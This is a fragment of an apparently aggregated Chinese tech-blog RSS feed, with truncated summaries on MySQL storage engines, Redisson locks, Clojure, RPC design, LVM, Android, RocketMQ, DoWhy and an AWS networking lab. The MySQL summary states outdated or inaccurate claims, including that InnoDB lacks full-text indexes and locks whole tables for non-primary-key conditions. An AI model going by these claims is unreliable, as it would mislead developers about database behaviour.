InnoDB中必须包含只有该字段的索引。引擎的自动增长列必须是索引，如果是组合索引也必须是组合索引的第一列。&#xA;6、表锁差异 MyISAM:只支持表级锁，用户在操作myisam表时,select,update，delete，insert语句都会给表自动锁，如果加锁以后的表满足insert并发的情况下，可以在表的尾部插入新的数据。&#xA;InnoDB:支持事务和行级锁，是inodb的最大特色。行锁大幅度提高了多用户并发操作的新能。但是InnoDB的行锁，只是在WHERE的主键是有效的，非主键的WHERE都会锁全表的。&#xA;7、全文索引 MylSAM:支持FULLTEXT类型的全文索引&#xA;InnoDB:不支持FULLTEXT类型的全文索引，但是innodb可以使用sphinx插件支持全文索引，并且效果更好。&#xA;8、表主键 MylSAM:允许没有任何索引和主键的表存在，索引都是保存行的地址。&#xA;InnoDB:如果没有设定主键或者非空唯一索引，就会自动生成一个6字节的主键(用户不可见)，数据是主索引的一部分，附加索引保存的是主索引的值。&#xA;9、表的具体行数 MyISAM:保存有表的总行数，如果select count() from table;会直接取出出该值。&#xA;InnoDB:没有保存表的总行数，如果使用select count(*) from table;就会遍历整个表，消耗相当大，但是在加了wehre条件后，myisam和innodb处理的方式都一样。&#xA;10、CRUD操作 MyISAM:如果执行大量的SELECT，MyISAM是更好的选择。&#xA;InnoDB:如果你的数据执行大量的INSERT或UPDATE，出于性能方面的考虑，应该使用InnoDB表。&#xA;11、外键 MylSAM:不支持&#xA;InnoDB:支持&#xA;三、sql优化简介 1、什么情况下进行sql优化 性能低、执行时间太长、等待时间太长、连接查询、索引失效。&#xA;2、sql语句执行过程 （1）编写过程&#xA;select distinct ... from ... join ... on ... where ... group by .</description>
    </item>
    <item>
      <title>Redisson——联合锁和红锁</title>
      <link>https://bchobby.github.io/posts/c0a97626d975144d5befdb766030dab7/</link>
      <pubDate>Mon, 04 Sep 2023 17:08:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0a97626d975144d5befdb766030dab7/</guid>
      <description>前言 联合锁和红锁放在一起来分析，是因为这两种锁实现在Redisson中，关联密切。&#xA;/** * Returns MultiLock instance associated with specified &amp;lt;code&amp;gt;locks&amp;lt;/code&amp;gt; * * @param locks - collection of locks * @return MultiLock object */ RLock getMultiLock(RLock... locks); /* * Use getLock method instead. Returned instance uses Redis Slave synchronization */ @Deprecated RLock getRedLock(RLock... locks); 红锁 上面getRedLock方法上有@Deprecated注解，说明在Redisson实现中，不推荐使用红锁。&#xA;简介 红锁是官方提出的一个锁方案，大概如下：&#xA;假设redis集群有5个节点，一个客户端申请锁时，会向所有的节点申请锁，只有大于一半的节点数量返回成功，且耗费的总时间小于锁有效时间，才会判定为拿锁成功，否则会被认定为失败，需要将已经成功的节点锁释放掉。&#xA;具体官方文档见：redis.io/topics/dist…&#xA;实现 RedissonRedLock继承了联合锁【RedissonMultiLock】，也没有重写核心方法。&#xA;/** * RedLock locking algorithm implementation for multiple locks. * It manages all locks as one. * * @see &amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>运行在JVM上的编程语言，认为只有java你就狭隘了</title>
      <link>https://bchobby.github.io/posts/ec2a246ba39937919021c69799721717/</link>
      <pubDate>Mon, 04 Sep 2023 17:02:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec2a246ba39937919021c69799721717/</guid>
      <description>一、背景 公司国外市场部的同事，外包写了一个discord机器人！！！ 要我们配合部署，给了个jar；因为是部署到线上环境，为了安全让外包人员给了源码进行Review，git拉下来一看，国粹，什么鬼！！！ 抱着文件后缀，问了下强大的GPT，才知道原来不止是java语言可以运行在JVM上。。。 下面我就简单的介绍一下这种语言&#xA;二、运行在JVM上并与Java紧密集成的编程语言-Clojure Clojure 是一种动态函数式编程语言，它运行在 Java 虚拟机（JVM）上并与 Java 紧密集成。 Clojure 是由 Rich Hickey开发的，它结合了函数式编程的思想和强大的并发性能，提供了一种简洁、可扩展和可靠的编程语言。&#xA;以下是 Clojure 的一些主要特点和概念：&#xA;函数式编程：Clojure 是一门函数式编程语言，强调使用纯函数和不可变数据。它鼓励将计算视为函数的求值，避免副作用和可变状态，从而提高代码的可读性、可维护性和并发性。&#xA;不可变数据：在 Clojure 中，数据结构是不可变的，这意味着一旦创建，就无法修改。当对数据进行操作时，会返回一个新的数据结构，而不会改变原始数据。这种不可变性有助于避免竞态条件和共享状态的问题，并简化了并发编程。&#xA;持久化数据结构：Clojure 提供了一系列高效的持久化数据结构，如列表、矢量、集合和映射。这些数据结构在进行修改时可以共享大部分不变的部分，从而提供了高效的操作和内存使用。&#xA;Lisp 历史和语法：Clojure 是一门 Lisp 方言，它继承了 Lisp 的强大元编程能力和简洁的语法。Clojure 的代码以表达式的形式表示，并使用方括号来组织代码。这种语法使得 Clojure 具有强大的宏系统和代码生成能力。&#xA;并发编程：Clojure 提供了一些强大的并发编程工具，如原子（atom）、代理（agent）和软件事务内存（Software Transactional Memory，简称 STM）。这些工具使得编写并发代码变得更加简单和安全，可以有效地处理共享状态和多线程环境。&#xA;Java 互操作性：由于运行在 JVM 上，Clojure 可以无缝地与 Java 代码进行交互和集成。Clojure 可以直接调用 Java 类和方法，并且可以访问 Java 生态系统中丰富的库和工具。&#xA;社区支持和库生态系统：Clojure 拥有活跃的社区和丰富的库生态系统。有许多开源库可供选择，涵盖了各种领域，从 Web 开发到数据处理和科学计算。&#xA;Clojure 的设计目标是简洁、具有表达力和可靠性。它适用于各种应用场景，从命令行工具到大规模分布式系统。 作为一门函数式编程语言，Clojure提供了一种不同于传统命令式语言的思考方式，并且在并发编程方面具有很强的优势。&#xA;三、Clojure怎么打jar包 在 Windows 环境下，您可以使用 Leiningen 构建工具将 Clojure 代码打包成 JAR 文件。</description>
    </item>
    <item>
      <title>深度思考rpc框架面经之一：基本组件和概览</title>
      <link>https://bchobby.github.io/posts/c9de90c44739596f2b2852a951f21794/</link>
      <pubDate>Mon, 04 Sep 2023 15:59:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9de90c44739596f2b2852a951f21794/</guid>
      <description>1 一个rpc框架应该具有哪些组件？ 一个RPC（远程过程调用）框架通常由以下几个组件组成：&#xA;通信协议（Communication Protocol）：RPC框架需要定义一种通信协议，用于客户端和服务器之间的通信。这个协议可以是自定义的二进制格式，也可以是像JSON-RPC、gRPC、Thrift等标准化的协议。&#xA;序列化和反序列化（Serialization/Deserialization）：在远程过程调用中，参数和返回值需要在网络上进行传输。因此，数据必须被序列化为通信协议所支持的格式，然后在接收端进行反序列化。这使得客户端和服务器能够将数据转换为字节流以进行传输，并将其还原为数据结构以供处理。&#xA;代理（Proxy）：客户端需要通过代理来调用远程服务器上的方法。代理隐藏了底层的网络通信细节，使得客户端能够像调用本地方法一样调用远程方法，这里的代理负责具体的发送请求动作&#xA;Stub（存根）：服务器端也需要处理客户端发送的请求。Stub在服务器端扮演了代理的角色，接收客户端请求，解析它们，并将其转发给实际的服务实现。同样，客户端也需要存根来完成接收服务端的请求，从字节流中反序列化数据，序列化数据发送给客户端。&#xA;服务接口定义（Service Interface Definition）：RPC框架需要定义一种服务接口描述语言，以明确定义服务提供的方法和参数。这可以是使用IDL（接口定义语言）或类似的方法。&#xA;服务注册和发现（Service Registration and Discovery）：在一个分布式环境中，服务的位置可能会经常变化，因此需要一种机制来注册和发现可用的服务。这可以通过集中式服务注册中心或分布式服务发现机制来实现。&#xA;负载均衡（Load Balancing）：当多个服务提供相同功能时，负载均衡是确保请求在它们之间平衡分配的机制。这有助于提高系统的可伸缩性和性能。&#xA;安全性（Security）：RPC框架需要提供一定程度的安全性，确保通信过程中的数据传输和访问不会受到未经授权的访问或恶意攻击。&#xA;故障处理（Fault Tolerance）：分布式系统中难免会遇到故障，RPC框架应该具备一些故障处理机制，例如重试、超时设置和错误处理，以保障系统的可靠性。&#xA;监控和日志（Monitoring and Logging）：为了方便排查问题和了解系统的运行状况，RPC框架应该支持监控和日志记录，收集关键的性能指标和事件信息。&#xA;这些组件共同构成了一个完整的RPC框架，使得分布式系统中的不同服务能够方便地进行通信和交互。不同的RPC框架可能会有一些特定的功能和特性，但总体来说，它们都应该满足上述基本要素。&#xA;1.2 什么是Stub存根 1.2.1 这里的存根是指什么，用于服务调用端还是提供端 存根（Stub）是RPC框架中的一个关键组件，它是服务调用的客户端与服务器端之间的一个中介。存根可以存在于两端：&#xA;客户端存根（Client Stub）：当客户端希望调用远程服务时，它实际上首先调用的是客户端存根。客户端存根负责：&#xA;将调用的方法和参数序列化为一种格式，这个格式能够通过网络传输。通过网络发送这个序列化后的请求到服务器端。接收服务器的响应，然后反序列化该响应以转换为客户端可用的格式。 服务器端存根（Server Stub）：服务器端收到客户端的请求后，是由服务器端存根来处理这个请求的。服务器端存根的职责包括：&#xA;从网络接收序列化后的请求数据。反序列化这个请求以获取原始的方法调用和参数。调用实际的服务实现。将结果序列化并发送回客户端。 从上述描述中可以看出，存根起到了在客户端和服务器端之间转化调用的桥梁作用。客户端通过存根发送请求，服务器端通过存根接收请求并发送响应。&#xA;在许多RPC框架中，存根是自动生成的，通常是基于服务的接口定义（如IDL - 接口定义语言）。这样做的目的是为了减少开发者的工作量，使他们能够专注于业务逻辑的实现，而不是通信的细节。&#xA;1.2.2 给我一个protocol buffer协议中规定生成的存根格式 Protocol Buffers（通常简称为protobuf）是Google开发的一种序列化协议。在protobuf的上下文中，当我们谈论“存根”时，通常是指gRPC（Google的远程过程调用系统）中用protobuf定义的服务的客户端和服务器代码。&#xA;以下是一个protobuf协议的简单示例，定义了一个HelloService服务：&#xA;syntax = &#34;proto3&#34;; package example; // The message format for a greeting. message HelloRequest { string name = 1; } message HelloResponse { string greeting = 1; } // The HelloService service definition.</description>
    </item>
    <item>
      <title>全网最详细的linux逻辑卷制作教程</title>
      <link>https://bchobby.github.io/posts/3dca137183774ca2850cd629ca3061bb/</link>
      <pubDate>Mon, 04 Sep 2023 15:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dca137183774ca2850cd629ca3061bb/</guid>
      <description>一、为什么要制作逻辑卷？ 1、我们举个例子来说，比如我们我们在生产环境下有一块/dev/sdc 的磁盘挂在了/date 数据库目录下面，但是随着业务量的增加，我们需要对/date 目录进行扩容，如果我们制作了逻辑卷这时候我么只需要在已有的基础上在把新盘做成卷组加入到逻辑卷组当中，这样无论以后我们的/date 目录是否在新增也不怕了&#xA;反之，如果我们是直接就mount挂盘 那会导致我们如果想要对这个/date 目录进行扩容是没有办法扩容的 如果业务量增大的话 只能进行数据迁移，重新挂盘操作，但这样无疑是给我们的工作带来了无形中的压力。&#xA;其实制作逻辑卷用通俗的话来讲就是 我去买了两台电脑 一台电脑支持在原有基础上扩容 一台不支持在原有基础之上扩容（纯属个人理解但是感觉还是有点点不贴进实际情况，欢迎各位老铁发表自己的观点和看法）&#xA;二、本次逻辑卷制作均是使用虚拟机示范 1、打开虚拟机添加硬盘 点击硬盘&#xA;点击添加&#xA;到这里后面一般都默认选择下一步&#xA;因为这里是做示范所有20G已经足够了&#xA;查看是否添加成功 我这里已经多出来了一块硬盘说明我已经添加成功了&#xA;接下来启动虚拟机查看硬盘是否已经添加成功&#xA;现在我已经登录到了添加硬盘的node3主机&#xA;2、查看磁盘创建分区 通过命令lsblk 我们可以看到磁盘已经添加成功&#xA;查看现有磁盘情况，我们发现系统已经有一个21G的磁盘sdb， 还未对其分区&#xA;对 /dev/sdb 进行分区&#xA;建立新的分区：&#xA;输入 p 打印现有分区情况（还没有分区）&#xA;输入 n 新建分区&#xA;输入 p 为建立主分区（此时的p是在n后的，不是打印）&#xA;输入 1 为建立第一个主分区&#xA;分区起始位置可以直接回车，默认是1&#xA;其实也可以不用分区 直接创建物理卷&#xA;输入 p 打印分区情况，发现已建立一个分区 /dev/sdb1，但是 此分区为 Linux 格式&#xA;改变系统标识符：&#xA;输入 t 改变分区1的属性&#xA;输入 L 查看有个属性对应的命令&#xA;输入 8e 改变分区1为 Linux LVM格式&#xA;输入 p 打印分区情况，发现建立的分区 /dev/sdb1 为 Linux LVM 格式</description>
    </item>
    <item>
      <title>android 开发部分需要注意的小问题</title>
      <link>https://bchobby.github.io/posts/5ce9cb9ce15c0db51c946c9cd1cc9009/</link>
      <pubDate>Mon, 04 Sep 2023 13:56:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ce9cb9ce15c0db51c946c9cd1cc9009/</guid>
      <description>Android 由于版本的更迭，部分操作需要有一些小改动，通常只在项目开始的时候用一下，时间长了容易忘记，在此做个笔记。&#xA;目录&#xA;1、Android 文件操作&#xA;2、Android 相机拍照&#xA;3、flutter修改sdk路径&#xA;1、Android 文件操作 Android 开发中经常需要读取文件，除了正常的权限变更获取之外还需要在 AndroidManifest.xml 中注册文件服务，这个经常忘记，报错才会想起来。&#xA;&amp;lt;application ........ &amp;lt;!-- 文件服务 --&amp;gt; &amp;lt;provider android:name=&#34;android.support.v4.content.FileProvider&#34; android:authorities=&#34;applicationId.fileprovider&#34; android:exported=&#34;false&#34; android:grantUriPermissions=&#34;true&#34;&amp;gt; &amp;lt;meta-data android:name=&#34;android.support.FILE_PROVIDER_PATHS&#34; android:resource=&#34;@xml/file_path&#34; /&amp;gt; &amp;lt;/provider&amp;gt; &amp;lt;/application&amp;gt; 在 res资源文件夹中新建 xml 文件夹，并在 xml 下建 文件 file_path.xml 内容如下&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;resources&amp;gt; &amp;lt;paths&amp;gt; &amp;lt;external-path name=&#34;ext_root&#34; path=&#34;/&#34; /&amp;gt; &amp;lt;/paths&amp;gt; &amp;lt;/resources&amp;gt; 2、Android 相机拍照 Android 中使用相机的场景 通常为 扫描和拍照，扫描正常操作就好了，如果相机用到拍照的话，那么需要在 Application 中 设置 StrictMode 才能正常使用拍照功能，代码如下&#xA;val builder = StrictMode.VmPolicy.Builder() StrictMode.setVmPolicy(builder.build()) builder.detectFileUriExposure() 以上是两个不怎么能记住的点&#xA;3、flutter修改sdk路径 flutter config --android-sdk *******</description>
    </item>
    <item>
      <title>[taro react] 【run dev:h5】 报错 Uncaught ReferenceError: $RefreshSig$ is not defined</title>
      <link>https://bchobby.github.io/posts/3f404d92105eaf4a25ba8314a6daa3a8/</link>
      <pubDate>Mon, 04 Sep 2023 11:20:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f404d92105eaf4a25ba8314a6daa3a8/</guid>
      <description>这是一篇踩坑篇，因为目前没有好的文章，所以这边做一个记录。&#xA;公司想做多端，我今天有空就准备预习了一下taro 这个框架，谁知刚创建了项目就卡主了，一直提示一个报错： Uncaught ReferenceError: $RefreshSig $ is not defined。一开始还以为是我创建项目的时候哪里配置使用不对的问题，重新创建了两遍项目后就排除了这个可能。一片白的页面，一直报红的控制台：&#xA;我眉头紧锁，因为我知道：我碰到事儿了！&#xA;debug流程启动！ 第一步：百度、google。尝试了一个多小时，方案都不行。启动plan B&#xA;debug流程　第二步：社区。到github 里找到了open中的issues。 底下有这样的一个方案：在config/dev.js中加入了isWatch:true。&#xA;如上图加到代码中再重新run一下项目就跑通了。&#xA;此bug为taro 3.5.7的版本bug，后期说是会修复。这里要补充一下就是taro的更新比较多，且经常出一些莫名其妙的bug。所以，如果准备使用taro开发的话，建议最好锁一下版本号，避免项目在运行时出现一些意料之外的情况。</description>
    </item>
    <item>
      <title>使用java代码导出数据库sql文件</title>
      <link>https://bchobby.github.io/posts/a23a634f72e9267d5f9dd2f810e8f529/</link>
      <pubDate>Mon, 04 Sep 2023 11:13:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a23a634f72e9267d5f9dd2f810e8f529/</guid>
      <description>使用java代码导出数据库sql文件 导出目标导出工具类 导出目标 导出包含数据库表结构、索引、外键以及表里面的数据&#xA;导出分析&#xA;1. 我们不需要导出所有的表 比如 _copy、_bak之类的备份表。&#xA;2. 我们不需要导出日志表（如 _log表）中的数据 只需要表结构&#xA;3. 基于SaaS架构的数据库一般会有一个租户id，比如项目id、租户id之类的，假设我们有需求，只想导出某个项目下的数据&#xA;导出工具类 private static final Logger logger = LoggerFactory.getLogger(MySQLDatabaseTableStructureAndDataSQLExporter.class); /** * 数据库sql采集 * @param ignoreTab 忽略采集哪些表 * @param logTab 哪些表只采集表结构、不采集insert语句 * @param projectIds 导出的项目id 多个逗号隔开【方法底层去判断数据库表是否有 project_id参数 如果有导出insert语句时就只导出指定项目下的数据】 */ private static void collectSql(List&amp;lt;String&amp;gt; ignoreTab, List&amp;lt;String&amp;gt; logTab, String projectIds) { String jdbcUrl = &#34;jdbc:mysql://localhost:3306/数据库?useUnicode=true&amp;amp;characterEncoding=UTF-8&amp;amp;serverTimezone=Asia/Shanghai&#34;; String username = &#34;你的用户名&#34;; String password = &#34;你的密码&#34;; String databaseName = &#34;数据库&#34;; // 修改为你要导出的数据库名 String outputFilePath = databaseName+&#34;</description>
    </item>
    <item>
      <title>RocketMQ集群搭建方式</title>
      <link>https://bchobby.github.io/posts/f5b2ff182f328c37d6db3817f831d5ce/</link>
      <pubDate>Mon, 04 Sep 2023 11:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5b2ff182f328c37d6db3817f831d5ce/</guid>
      <description>1 集群特点 ●NameServer是一个几乎无状态节点，可集群部署，节点之间无任何信息同步。&#xA;●Broker部署相对复杂，Broker分为Master与Slave，一个Master可以对应多个Slave，但是一个Slave只能对应一个Master，Master与Slave的对应关系通过指定相同的BrokerName，不同的Brokerld来定义，Brokerld为0表示Master，非0表示Slave。Master也可以部署多个。每个Broker与NameServer集群中的所有节点建立长连接，定时注册Topic信息到所有NameServer。&#xA;●Producer与NameServer集群中的其中一个节点(随机选择)建立长连接，定期从NameServer取Topic路由信息，并向提供Topic服务的Master建立长连接，且定时向Master发送心跳。Producer完全无状态，可集群部署。&#xA;●Consumer与NameServer集群中的其中一个节点(随机选择)建立长连接，定期从NameServer取Topic路由信息，并向提供Topic服务的Master、Slave建立长连接，且定时向Master、Slave发送心跳。Consumer既可以从Master订阅消息，也可以从Slave订阅消息，订阅规则由Broker配置决定。&#xA;2 集群模式 1)单Master模式&#xA;这种方式风险较大，一旦Broker重启或者宕机时，会导致整个服务不可用。不建议线上环境使用，可以用于本地测试。&#xA;2)多Master模式&#xA;一个集群无Slave，全是Master，例如2个Master或者3个Master，这种模式的优缺点如下：&#xA;●优点：配置简单，单个Master宕机或重启维护对应用无影响，在磁盘配置为RAID10时，即使机器宕机不可恢复情况下，由于RAID10磁盘非常可靠，消息也不会丢(异步刷盘丢失少量消息，同步刷盘一条不丢)，性能最高；&#xA;●缺点：单台机器宕机期间，这台机器上未被消费的消息在机器恢复之前不可订阅，消息实时性会受到影响。&#xA;3)多Master多Slave模式(异步)&#xA;每个Master配置一个Slave，有多对Master-Slave，HA采用异步复制方式，主备有短暂消息延迟(毫秒级)，这种模式的优缺点如下：&#xA;●优点：即使磁盘损坏，消息丢失的非常少，且消息实时性不会受影响，同时Master宕机后，消费者仍然可以从Slave消费，而且此过程对应用透明，不需要人工干预，性能同多Master模式几乎一样；&#xA;●缺点：Master宕机，磁盘损坏情况下会丢失少量消息。&#xA;4)多Master多Slave模式 (同步)&#xA;每个Master配置一个Slave，有多对Master-Slave，HA采用同步双写方式，即只有主备都写成功，才向应用返回成功，这种模式的优缺点如下：&#xA;优点：数据与服务都无单点故障，Master宕机情况下, 消息无延迟，服务可用性与数据可用&#xA;性都非常高；&#xA;●缺点：性能比异步复制模式略低(大约低10%左右)，发送单个消息的RT会略高，且目前版本在主节点宕机后，备机不能自动切换为主机。</description>
    </item>
    <item>
      <title>【手把手教你】使用DoWhy做因果推断分析</title>
      <link>https://bchobby.github.io/posts/fda2f5e7b0c04a23cf309cdb5beb1e09/</link>
      <pubDate>Mon, 04 Sep 2023 08:30:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fda2f5e7b0c04a23cf309cdb5beb1e09/</guid>
      <description>引言&#xA;因果推断是一种统计和哲学框架，旨在从数据中识别变量之间的因果关系，而不仅仅是相关性或关联。换句话说，它试图解答“如果我做X，会发生什么？”这类问题，而非仅仅描述“X与Y有关联”这种观察性的信息。&#xA;在金融量化中，因果推断的应用相当重要。金融市场是一个高度复杂、多变量互动的系统。在这样的环境中，仅依赖相关性往往是不足够的，因为相关性并不意味着因果性。例如，股票价格上升可能与多个因素相关，如交易量增加、宏观经济指标改善或公司业绩增长。然而，并不是所有这些因素都是导致股票价格上升的真正“原因”。&#xA;通过因果推断，量化分析师、投资者和决策者可以更精准地识别哪些因素会影响股票价格、市场走势或其他金融指标。这不仅有助于更有效地管理风险，还可以用于创建更为强健的交易策略。&#xA;【号外】qstock已更新到1.3.6版本！修正了问财不能调用的问题，请使用“pip install qstock ”进行安装，或通过’pip install –upgrade qstock’进行更新。&#xA;qstock系列专题：&#xA;【qstock开源了】数据篇之行情交易数据&#xA;【qstock数据篇】行业概念板块与资金流&#xA;【qstock量化】数据篇之股票基本面数据&#xA;【qstock量化】数据篇之宏观指标和财经新闻文本&#xA;【qstock量化】动态交互数据可视化&#xA;【qstock量化】技术形态与概念热点选股池&#xA;【手把手教你】使用qstock实现量化策略选股&#xA;【手把手教你】使用qstock进行量化回测&#xA;基于qstock的量化复盘与自动盯盘&#xA;qstock 玩转问财：一行代码实现条件选股&#xA;DoWhy库简介&#xA;DoWhy是一个用于因果推断（Causal Inference）的Python库。该库由微软研究院（Microsoft Research）开发，旨在简化从数据中识别因果关系的过程DoWhy提供了一整套统一和一致的API，支持从建模到识别，再到因果效应估计和验证的整个工作流程。&#xA;主要特点&#xA;模块化和可扩展性: DoWhy将因果推断流程分解为四个主要步骤：模型建立、识别、估计和验证。这使得用户可以轻松更换不同的估计或验证方法。&#xA;基于图模型: DoWhy使用因果图（Causal Graph）作为基础模型，帮助用户更直观地理解变量之间的关系，并且可以明确地指定共同因素（Common Causes）和介入变量（Interventions）。&#xA;多种因果估计方法: DoWhy支持多种因果估计算法，包括反事实模型（Counterfactual Models）、工具变量法（Instrumental Variables）、传播分数匹配（Propensity Score Matching）等。&#xA;诊断和验证: 除了因果效应的点估计外，DoWhy还提供了用于检验模型健壮性和有效性的诊断工具。&#xA;使用DoWhy通常涉及以下几个步骤：&#xA;数据准备: 获取和预处理你需要分析的数据。&#xA;建立因果模型: 利用因果图明确指定处理（Treatment）变量、结果（Outcome）变量和可能的共同因素（Common Causes）。&#xA;识别因果效应: 基于你的因果模型，DoWhy将尝试识别一个合适的估计方法。&#xA;估计因果效应: 使用识别的方法来估计处理变量对结果变量的因果效应。&#xA;验证和诊断: 评估估计的因果效应的稳健性和可靠性。&#xA;应用示例&#xA;下面以跳空高开（Gap Up）是否对一个股票指数（如沪深300指数）的日收益率有因果影响，使用qstock库获取数据和DoWhy库进行因果推断。为了避免反向因果的影响，共同因素变量均滞后一期。&#xA;import qstock as qs import pandas as pd import numpy as np import pandas_ta as ta import matplotlib.</description>
    </item>
    <item>
      <title>精神泡芙 | 三体</title>
      <link>https://bchobby.github.io/posts/9b517174b0fdc7529dc3d1caf28fb562/</link>
      <pubDate>Sun, 03 Sep 2023 22:15:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b517174b0fdc7529dc3d1caf28fb562/</guid>
      <description>文字神奇地记录和传递着故事和想法，&#34;精神泡芙&#34;系列就来记录读过的文字和这些文字引起的思考与波澜吧。回家的路上想给这个系列起个名字，突然想起这个周末又没有买到想吃很久的泡芙，于是&#34;精神泡芙&#34;就诞生了！&#xA;泡芙，从上大学时3块钱可以买到8个，到去了nku后跑去遥远的文科组团买，再到现在变成了并不是想吃就可以买到的甜食hhh…&#xA;写在2023.9.3晚 黑暗森林完结 在上班的公交车上，国家图书馆的书架上，午休公司楼梯间里，还有&#34;小破出租屋&#34;附近商场的西西弗里，《三体》系列从去年这个时候就这样陆陆续续看到了今年这个时候😝😝。期间甚至还上映了动画，以至于火的那阵子让我借不到书。这个周末终于看到了黑暗森林法则的全貌，前期的线索也逐渐串了起来，主要人物的神秘责任也都一一浮出水面；走出书店上厕所的路上，感觉自己的神经元也被激活了书写的想法(灵感出现啦)，于是站在人来人往、热热闹闹的商场一角，快速写下了下面这段话。&#xA;看到了残酷的黑暗森林法则的全貌：宇宙间能量总数是一定的，一个文明的发展建立在消灭其他文明的基础上；当发现了其他文明的存在，无论其内部是善良还是邪恶，也无论其技术相对自己是落后还是先进，由于猜疑链和技术爆炸的存在，唯一的选择就只能是消灭他，否则自己将有可能被对方或其他文明发现且消灭。&#xA;这也就是三体世界在发现地球🌍🌍被叶文洁暴露后派出智子、水滴和庞大的三体舰队前往遥远的太阳系准备消灭人类文明的原因，更是罗辑的咒语得以威胁三体的原因：如果三体继续消灭地球和人类，罗辑就把三体世界和周围三十颗恒星的相对位置广播📢📢至整个银河系🌌🌌，那么三体和太阳系的位置都暴露了，宇宙间其他文明必然会消灭三体和地球，即同归于尽！&#xA;三体世界的技术发展早已超越了人类世界，智子锁死了人类基础理论的进步，可最后三体还是输给了人类的智谋！&#xA;但让我意外的一点是，罗辑表示：人类晚于三体参透黑暗森林法并不是由于文明进化不成熟，而是由于人类社会存在的感情——爱；最初向叶文洁发出警告(“不要回答！不要回答！不要回答！”)的三体监听员却说：其实三体世界也是有爱的，只是发现不利于文明生存后被抑制在了萌芽状态，但其顽强的存活在了少数三体人的心里❤️❤️。&#xA;这里就忍不住让人唏嘘和感慨除罗辑外另外一个伟大的角色——章北海，他努力和坚持了两个世纪，从内心隐藏的逃亡计划几乎骗过了所有人、成功成为增援未来政工干部的一员，到为了推动辐射推进飞船的发展，甚至用陨石子弹射杀了支持工质推进飞船的科学家，使得恒星级战舰成为可能；再到他冬眠苏醒后成为&#34;自然选择号&#34;战舰的执行舰长，预言人类会在与三体终极战斗中失败，而带领&#34;自然选择号&#34;战舰逃跑，成功躲过了水滴在末日之战中对人类太空武装力量的全军歼灭！可最后，以为早已经铁石心肠的自己却死于内心深处仍存有的恻隐之心，死于&#34;是一部分人死，还是都死&#34;中来自同伴战舰的攻击…他只比对方晚了几秒(是的，我不希望这个角色被写死，可他的确和自然选择号上两千多人一起，葬身黑暗广袤的太空)&#xA;阅读和思考要继续，加油鸭！！！</description>
    </item>
    <item>
      <title>如何一键导出PDF文档的图片？</title>
      <link>https://bchobby.github.io/posts/8fa2609453130eb4b7bc3675ac30bb2f/</link>
      <pubDate>Sun, 03 Sep 2023 22:07:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fa2609453130eb4b7bc3675ac30bb2f/</guid>
      <description>最近工作需要下载了一些pdf论文，需要将其中一些图片提取出来，网上找了很多工具大多效果不是很好。&#xA;后来在论坛看到一个在线工具，试用了一下还不错：&#xA;提取pdf图片 - www.strerr.com&#xA;选择一个pdf文件&#xA;等待提取完成，可以选择zip打包下载</description>
    </item>
    <item>
      <title>【AWS实验】 配置中转网关及对等连接</title>
      <link>https://bchobby.github.io/posts/fd46cae4fb90659a32cf55c18af6dd9f/</link>
      <pubDate>Sun, 03 Sep 2023 16:12:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd46cae4fb90659a32cf55c18af6dd9f/</guid>
      <description>文章目录 实验概览目标实验环境任务 1：查看网络拓扑并创建基准任务 2：创建中转网关任务 3：创建中转网关挂载任务 4：创建中转网关路由表任务 4.1：创建路由表关联任务 4.2：创建路由传播 任务 5：更新 VPC 路由表任务 5.1：网络验证 任务 6：创建与远程区域中转网关的对等连接任务 6.1：记录远程区域的中转网关 ID任务 6.2：创建中转网关对等连接任务 6.3：接受中转网关对等连接请求 – 远程区域任务 6.4：更新路由表关联 – 远程区域任务 6.5：更新中转网关路由表 – 远程区域任务 6.6：更新 VPC 路由表 – 远程区域任务 6.7：网络验证 任务 7：创建路由筛选条件任务 7.1：网络验证 任务 8：可视化和分析网络（可选）任务 8.1：将网络可视化任务 8.2：分析路由 总结 实验概览 可以使用对等连接来连接 Amazon Virtual Private Cloud (Amazon VPC)。但是，如果无法集中管理连接策略，那么跨多个 Amazon VPC 管理点到点连接可能会造成运营成本高昂且操作繁琐。对于本地连接，需要将 AWS VPN 附加到每个单独的 Amazon VPC。当 VPC 数量增长到数百个时，这种解决方案的构建可能非常耗时，而且难以管理。&#xA;使用 AWS Transit Gateway，只需要创建和管理从中央网关到网络中每个 VPC、本地数据中心或远程办公室的一条连接。中转网关就像一个轮轴，控制着流量在连接的所有网络之间的路由方式，而这些网络就像辐条一样。这种轴辐式模型可以显著简化管理工作并降低运营成本，因为每个网络只需连接到中转网关，而不是连接到所有其他网络。将任何新的 VPC 连接到中转网关，然后该 VPC 就会自动向连接到中转网关的所有其他网络开放。这种易连接性让您能够随着需求的增长轻松地扩展网络。&#xA;在本实验中，将通过中转网关来构建和配置路由，这些中转网关具有不同的复杂程度。首先，将检查现有 VPC、子网、路由表和 Amazon Elastic Compute Cloud (Amazon EC2) 实例。然后，将创建一个中转网关并将四个现有 VPC 附加到该网关。需要研究中转网关上的默认路由表，该路由表可以让附加到中转网关的 VPC 进行多对多通信。在确认中转网关正常运行后，需要修改该中转网关上的路由表，以便隔离特定 VPC 之间的通信。最后，需要跨区域边界建立两个中转网关的对等连接，以便展示如何配置具有中转网关的全局网络。</description>
    </item>
    <item>
      <title>Halcon_blob分析_形态学</title>
      <link>https://bchobby.github.io/posts/5d38d635d149e4c6a01ddf305a9696a1/</link>
      <pubDate>Sun, 03 Sep 2023 14:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d38d635d149e4c6a01ddf305a9696a1/</guid>
